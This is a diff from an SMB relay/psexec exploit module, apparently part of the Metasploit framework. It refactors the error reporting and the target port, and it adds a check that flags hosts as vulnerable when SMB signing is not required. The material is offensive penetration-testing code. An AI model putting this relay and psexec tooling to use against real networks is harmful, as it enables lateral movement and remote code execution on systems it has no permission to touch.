@@ -201,7 +201,7 @@ def run_psexec(relay_connection)
201
201
framework . threads . spawn ( thread_name , false , new_mod_instance ) do |mod_instance |
202
202
mod_instance . exploit_smb_target
203
203
rescue StandardError => e
204
- print_error ( "Failed running psexec against target #{ datastore [ 'RHOST' ] } - #{ e . class } #{ e . message } " )
204
+ print_error ( "Failed running psexec against target #{ relay_connection . target . ip } - #{ e . class } #{ e . message } " )
205
205
elog ( e )
206
206
# ensure
207
207
# # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.
@@ -213,12 +213,31 @@ def run_psexec(relay_connection)
213
213
def relay_targets
214
214
Msf ::Exploit ::Remote ::SMB ::Relay ::TargetList . new (
215
215
:smb ,
216
- 445 ,
216
+ rport ,
217
217
datastore [ 'RHOSTS' ] ,
218
218
randomize_targets : datastore [ 'RANDOMIZE_TARGETS' ]
219
219
)
220
220
end
221
221
222
+ def check_host ( target_ip )
223
+ generic_message = 'Failed to connect and negotiate an SMB connection.'
224
+ begin
225
+ simple = connect ( false , direct : true )
226
+ protocol = simple . client . negotiate
227
+ rescue Rex ::Proto ::SMB ::Exceptions ::Error , RubySMB ::Error ::RubySMBError , Errno ::ECONNRESET
228
+ return Exploit ::CheckCode ::Unknown ( generic_message )
229
+ rescue ::Exception => e # rubocop:disable Lint/RescueException
230
+ elog ( generic_message , error : e )
231
+ return Exploit ::CheckCode ::Unknown ( generic_message )
232
+ end
233
+
234
+ if simple . signing_required
235
+ return Exploit ::CheckCode ::Safe ( 'Signing is required by the target server.' )
236
+ end
237
+
238
+ Exploit ::CheckCode ::Vulnerable ( 'Signing is not required by the target server.' )
239
+ end
240
+
222
241
# Called after a successful connection to a relayed host is opened
223
242
def exploit_smb_target
224
243
# automatically select an SMB share unless one is explicitly specified
@@ -283,4 +302,7 @@ def session_setup(client)
283
302
s
284
303
end
285
304
305
+ def rport
306
+ 445
307
+ end
286
308
end
0 commit comments